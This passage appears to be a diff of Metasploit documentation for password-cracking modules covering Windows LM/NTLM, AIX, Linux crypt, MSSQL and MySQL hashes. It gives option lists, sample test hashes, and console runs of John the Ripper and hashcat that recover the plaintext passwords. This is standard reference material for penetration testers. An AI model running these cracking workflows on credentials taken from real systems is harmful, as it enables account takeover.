* `NTLM` based passwords
| Common | John | Hashcat |
|--------|----------|---------|
| lanman | lm | 3000 |
| ntlm | nt | 1000 |
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `ntlm`, or `lanman` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/crack_windows```
4. Do: set cracker of choice
5. Do: ```run```
6. You should hopefully crack a password.
## Actions
**john**
Use john the ripper (default).
**hashcat**
Use hashcat.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRACKER_PATH**
The absolute path to the cracker executable. Default behavior is to search `path`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**Fork**
This option will set how many forks to use on john the ripper. Default is `1` (no forking).
**INCREMENTAL**
Run the cracker in incremental mode. Default is `true`
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**LANMAN**
Crack LANMAN hashes. Default is `true`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**NTLM**
Crack NTLM hashes. Default is `true`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**SHOWCOMMAND**
Show the command being used run from the command line for debugging. Default is `false`
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
**WORDLIST**
Run the cracker in dictionary/wordlist mode. Default is `true`
## Scenarios
### Sample Data
The following is data which can be used to test integration, including adding entries
to a wordlist and pot file to test various aspects of the cracker.
```
creds add user:lm_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:lm2_password ntlm:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:lm2_pot_password ntlm:e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c jtr:lm
creds add user:nt_password ntlm:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c jtr:nt
echo "" > /root/.msf4/john.pot
echo "\$LM\$E52CAC67419FAFE2:passwor" >> /root/.msf4/john.pot
echo "\$LM\$FAFE108F3FA6CB6D:d" >> /root/.msf4/john.pot
echo "test" > /tmp/wordlist
echo "password" >> /tmp/wordlist
```
### John the Ripper
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
resource (hashes_hashcat.rb)> run
[+] john Version Detected: 1.9.0-jumbo-1 OMP
[*] Hashes Written out to /tmp/hashes_tmp20190531-32530-1bqr8cd
[*] Wordlist file written out to /tmp/jtrtmp20190531-32530-1qjwpit
[*] Checking lm hashes already cracked...
[*] Cracking lm hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
2g 0:00:00:00 DONE (2019-05-31 17:07) 200.0g/s 585500p/s 585500c/s 1756KC/s TEST3::..T1900
Warning: passwords printed above might be partial and not be all those cracked
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
[*] Cracking lm hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
Warning: poor OpenMP scalability for this hash type, consider --fork=8
Will run 8 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Warning: Only 336 candidates buffered for the current salt, minimum 2048 needed for performance.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
1g 0:00:00:00 DONE 2/3 (2019-05-31 17:07) 50.00g/s 1774Kp/s 1774Kc/s 1774KC/s 123456..SEEKER0
Warning: passwords printed above might be partial
Use the "--show --format=LM" options to display all of the cracked passwords reliably
Session completed
[*] Cracking lm hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
[*] Cracking lm hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=sFX9A0yc --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=lm --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Using default target encoding: CP850
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1462 lm lm_password password Single
1463 lm lm2_password password Single
1464 lm lm2_pot_password password Already Cracked/POT
[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in single mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=single --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
Warning: no OpenMP support for this hash type, consider --fork=8
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 DONE (2019-05-31 17:07) 100.0g/s 19200p/s 19200c/s 19200C/s test3:::..Password12
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
[*] Cracking nt hashes in normal mode
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[*] Cracking nt hashes in incremental mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --incremental=Digits --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[*] Cracking nt hashes in wordlist mode...
[*] Cracking Command: /usr/sbin/john --session=MUVWOAMV --nolog --config=/root/metasploit-framework/data/jtr/john.conf --pot=/root/.msf4/john.pot --format=nt --wordlist=/tmp/jtrtmp20190531-32530-1qjwpit --rules=wordlist --max-run-time=60 /tmp/hashes_tmp20190531-32530-1bqr8cd
Using default input encoding: UTF-8
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1462 lm lm_password password Single
1463 lm lm2_password password Single
1464 lm lm2_pot_password password Already Cracked/POT
1465 nt nt_password password Single
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password password Password
lm_password password Password
lm2_password password Password
nt_password password Password
```
### Hashcat
We'll set `ITERATION_TIMEOUT 60` for a quick crack, and `ShowCommand true` for easy debugging.
```
resource (hashes_hashcat.rb)> setg CUSTOM_WORDLIST /tmp/wordlist
CUSTOM_WORDLIST => /tmp/wordlist
resource (hashes_hashcat.rb)> setg ShowCommand true
ShowCommand => true
resource (hashes_hashcat.rb)> setg USE_DEFAULT_WORDLIST false
USE_DEFAULT_WORDLIST => false
resource (hashes_hashcat.rb)> setg DeleteTempFiles false
DeleteTempFiles => false
resource (hashes_hashcat.rb)> setg USE_CREDS false
USE_CREDS => false
resource (hashes_hashcat.rb)> setg USE_DB_INFO false
USE_DB_INFO => false
resource (hashes_hashcat.rb)> setg USE_HOSTNAMES false
USE_HOSTNAMES => false
resource (hashes_hashcat.rb)> setg USE_ROOT_WORDS false
USE_ROOT_WORDS => false
resource (hashes_hashcat.rb)> setg ITERATION_TIMEOUT 60
ITERATION_TIMEOUT => 60
resource (hashes_hashcat.rb)> use auxiliary/analyze/crack_windows
resource (hashes_hashcat.rb)> set action hashcat
action => hashcat
resource (hashes_hashcat.rb)> run
[+] hashcat Version Detected: v5.1.0
[*] Hashes Written out to /tmp/hashes_tmp20190531-32645-186ea6l
[*] Wordlist file written out to /tmp/jtrtmp20190531-32645-12pwixd
[*] Checking lm hashes already cracked...
[*] Cracking lm hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking lm hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=i26VXnSy --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=3000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1470 lm lm_password [notfound]D Incremental
1471 lm lm2_password [notfound]D Incremental
[*] Checking nt hashes already cracked...
[*] Cracking nt hashes in incremental mode...
[*] Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --increment --increment-max=4 --attack-mode=3 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l
nvmlDeviceGetFanSpeed(): Not Supported
[*] Cracking nt hashes in wordlist mode...
[*] Cracking Command: /usr/bin/hashcat --session=6lfDPvji --logfile-disable --potfile-path=/root/.msf4/john.pot --hash-type=1000 --attack-mode=0 --runtime=60 /tmp/hashes_tmp20190531-32645-186ea6l /tmp/jtrtmp20190531-32645-12pwixd
nvmlDeviceGetFanSpeed(): Not Supported
[+] Cracked Hashes
==============
DB ID Hash Type Username Cracked Password Method
----- --------- -------- ---------------- ------
1470 lm lm_password [notfound]D Incremental
1471 lm lm2_password [notfound]D Incremental
1472 nt lm2_pot_password password Wordlist
1473 nt nt_password password Wordlist
[*] Auxiliary module execution completed
resource (hashes_hashcat.rb)> creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
lm_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_password e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm2_pot_password e52cac67419fafe2fafe108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
nt_password aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c NTLM hash nt,lm
lm_password [notfound]D Password
lm2_password [notfound]D Password
lm_password PASSWORD Password
lm2_password PASSWORD Password
lm_password password Password
lm2_password password Password
lm2_pot_password password Password
nt_password password Password
```
@@ -1,141 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode AIX
based password hashes, such as:
* `DES` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with a `des` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_aix```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:des_passphrase hash:qiyh4XPJGsOZ2MEAyLkfWqeQ jtr:des
```
Crack them:
```
[*] Hashes Written out to /tmp/hashes_tmp20190211-5021-1p3x0lx
[*] Wordlist file written out to /tmp/jtrtmp20190211-5021-66w3u0
[*] Cracking descrypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2019-02-11 19:29) 0g/s 4206Kp/s 4206Kc/s 4206KC/s scandal..vagrant
Session completed
[*] Cracking descrypt hashes in single mode...
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2019-02-11 19:29) 0g/s 6681Kp/s 6681Kc/s 6681KC/s qt1902..tude1900
Session completed
[*] Cracking descrypt hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
Will run 8 OpenMP threads
Warning: MaxLen = 20 is too large for the current hash type, reduced to 8
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:05 DONE (2019-02-11 19:29) 0g/s 21083Kp/s 21083Kc/s 21083KC/s 73602400..73673952
Session completed
[*] Cracked Passwords this run:
[+] des_password:password
[+] des_passphrase:????????se
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_aix) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
des_passphrase ????????se Password
des_passphrase qiyh4XPJGsOZ2MEAyLkfWqeQ Nonreplayable hash des
des_password rEK1ecacw.7.c Nonreplayable hash des
des_password password Password
```
@@ -1,176 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Linux
based password hashes, such as:
* `DES` based passwords
* `MD5` based passwords
* `BSDi` based passwords
* With `crypt` set to `true`:
* `bf`, `bcrypt`, or `blowfish` based passwords
* `SHA256` based passwords
* `SHA512` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
The definition of `crypt` according to JTR and waht algorithms it decodes can be found
[here](https://github.com/magnumripper/JohnTheRipper/blob/ae24a410baac45bb36884d793c429adeb7197336/src/c3_fmt.c#L731)
## Verification Steps
1. Have at least one user with an `des`, `md5`, `bsdi`, `crypt`, `blowfish`, `sha512`, or `sha256` password hash in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_linux```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CRYPT**
Include `blowfish` and `SHA`(256/512) passwords.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:des_password hash:rEK1ecacw.7.c jtr:des
creds add user:md5_password hash:$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ jtr:md5
creds add user:bsdi_password hash:_J9..K0AyUubDrfOgO4s jtr:bsdi
creds add user:sha256_password hash:$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 jtr:sha256,crypt
creds add user:sha512_password hash:$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 jtr:sha512,crypt
creds add user:blowfish_password hash:$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe jtr:bf
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_linux
msf5 auxiliary(analyze/jtr_linux) > set crypt true
crypt => true
msf5 auxiliary(analyze/jtr_linux) > run
[*] Hashes Written out to /tmp/hashes_tmp20190211-5021-hqwf2h
[*] Wordlist file written out to /tmp/jtrtmp20190211-5021-1ixz59k
[*] Cracking md5crypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] md5_password:password
[*] Cracking descrypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] des_password:password
[*] Cracking bsdicrypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] bsdi_password:password
[*] Cracking crypt hashes in normal wordlist mode...
Warning: hash encoding string length 20, type id #4
appears to be unsupported on this system; will not load such hashes.
Warning: hash encoding string length 60, type id $2
appears to be unsupported on this system; will not load such hashes.
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] des_password:password
[+] md5_password:password
[+] sha256_password:password
[+] sha512_password:password
[*] Cracking bcrypt hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] blowfish_password:password
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_linux) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
bsdi_password password Password
des_password password Password
sha256_password $5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5 Nonreplayable hash sha256,crypt
md5_password password Password
md5_password $1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/ Nonreplayable hash md5
bsdi_password _J9..K0AyUubDrfOgO4s Nonreplayable hash bsdi
sha512_password password Password
blowfish_password $2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe Nonreplayable hash bf
sha512_password $6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1 Nonreplayable hash sha512,crypt
sha256_password password Password
des_password rEK1ecacw.7.c Nonreplayable hash des
blowfish_password password Password
```
@@ -1,157 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode Microsoft
SQL based password hashes, such as:
* `mssql` based passwords
* `mssql05` based passwords
* `mssql12` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `mssql`, `mssql05` or `mssql12` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_mssql_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
Apply the [KoreLogic rules](http://contest-2010.korelogic.com/rules.html) to Wordlist Mode (slower).
Default is `false`.
**MUTATE**
Apply common mutations to the Wordlist (SLOW). Mutations are:
* `'@' => 'a'`
* `'0' => 'o'`
* `'3' => 'e'`
* `'$' => 's'`
* `'7' => 't'`
* `'1' => 'l'`
* `'5' => 's'`
Default is `false`.
**POT**
The path to a John POT file (JtR option: `--pot`) to use instead. The `pot` file is the data file which
records cracked password hashes. Kali linux's default location is `/root/.john/john.pot`.
Default is `~/.msf4/john.pot`.
**USE_CREDS**
Use existing credential data saved in the database. Default is `true`.
**USE_DB_INFO**
Use looted database schema info to seed the wordlist. This includes the Database Name, each Table Name,
and each Column Name. If the DB is MSSQL, the Instance Name is also used. Default is `true`.
**USE_DEFAULT_WORDLIST**
Use the default metasploit wordlist in `metasploit-framework/data/wordlists/password.lst`. Default is
`true`.
**USE_HOSTNAMES**
Seed the wordlist with hostnames from the workspace. Default is `true`.
**USE_ROOT_WORDS**
Use the Common Root Words Wordlist in `metasploit-framework/data/wordlists/common_roots.txt`. Default
is true.
## Scenarios
Create hashes:
```
creds add user:mssql05_toto hash:0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 jtr:mssql05
creds add user:mssql_foo hash:0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 jtr:mssql
creds add user:mssql12_Password1! hash:0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 jtr:mssql12
```
Crack them:
```
msf5 > use auxiliary/analyze/jtr_mssql_fast
msf5 auxiliary(analyze/jtr_mssql_fast) > run
[*] Hashes Written out to /tmp/hashes_tmp20190211-6421-u353o8
[*] Wordlist file written out to /tmp/jtrtmp20190211-6421-hcwr36
[*] Cracking mssql05 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mssql05 hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mssql05_toto:toto
[+] mssql_foo:foo
[+] mssql05_toto:toto
[+] mssql_foo:foo
[*] Cracking mssql hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mssql hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mssql hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mssql_foo:FOO
[+] mssql_foo:FOO
[*] Cracking mssql12 hashes in normal wordlist mode...
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in single mode...
Using default input encoding: UTF-8
[*] Cracking mssql12 hashes in incremental mode (Digits)...
Using default input encoding: UTF-8
[*] Cracked Passwords this run:
[+] mssql12_Password1!:Password1!
[+] mssql12_Password1!:Password1!
[*] Auxiliary module execution completed
msf5 auxiliary(analyze/jtr_mssql_fast) > creds
Credentials
===========
host origin service public private realm private_type JtR Format
---- ------ ------- ------ ------- ----- ------------ ----------
mssql05_toto toto Password
mssql05_toto 0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908 Nonreplayable hash mssql05
mssql_foo FOO Password
mssql_foo foo Password
mssql_foo 0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254 Nonreplayable hash mssql
mssql12_Password1! Password1! Password
mssql12_Password1! 0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16 Nonreplayable hash mssql12
```
@@ -1,139 +0,0 @@
## Vulnerable Application
This module attempts to use [john the ripper](https://www.openwall.com/john/) to decode MySQL
based password hashes, such as:
* `mysql` (pre 4.1) based passwords
* `mysql-sha1` based passwords
Sources of hashes can be found here:
[source](https://openwall.info/wiki/john/sample-hashes), [source2](http://pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formats)
## Verification Steps
1. Have at least one user with an `mysql`, or `mysql-sha1` password in the database
2. Start msfconsole
3. Do: ```use auxiliary/analyze/jtr_mysql_fast```
4. Do: ```run```
5. You should hopefully crack a password.
## Options
**CONFIG**
The path to a John config file (JtR option: `--config`). Default is `metasploit-framework/data/john.conf`
**CUSTOM_WORDLIST**
The path to an optional custom wordlist. This file is added to the new wordlist which may include the other
`USE` items like `USE_CREDS`, and have `MUTATE` or `KORELOGIC` applied to it.
**DeleteTempFiles**
This option will prevent deletion of the wordlist and file containing hashes. This may be useful for
running the hashes through john if it wasn't cracked, or for debugging. Default is `false`.
**ITERATION_TIMEOUT**
The max-run-time for each iteration of cracking
**JOHN_PATH**
The absolute path to the John the Ripper executable. Default behavior is to search `path` for
`john` and `john.exe`.
**KORELOGIC**
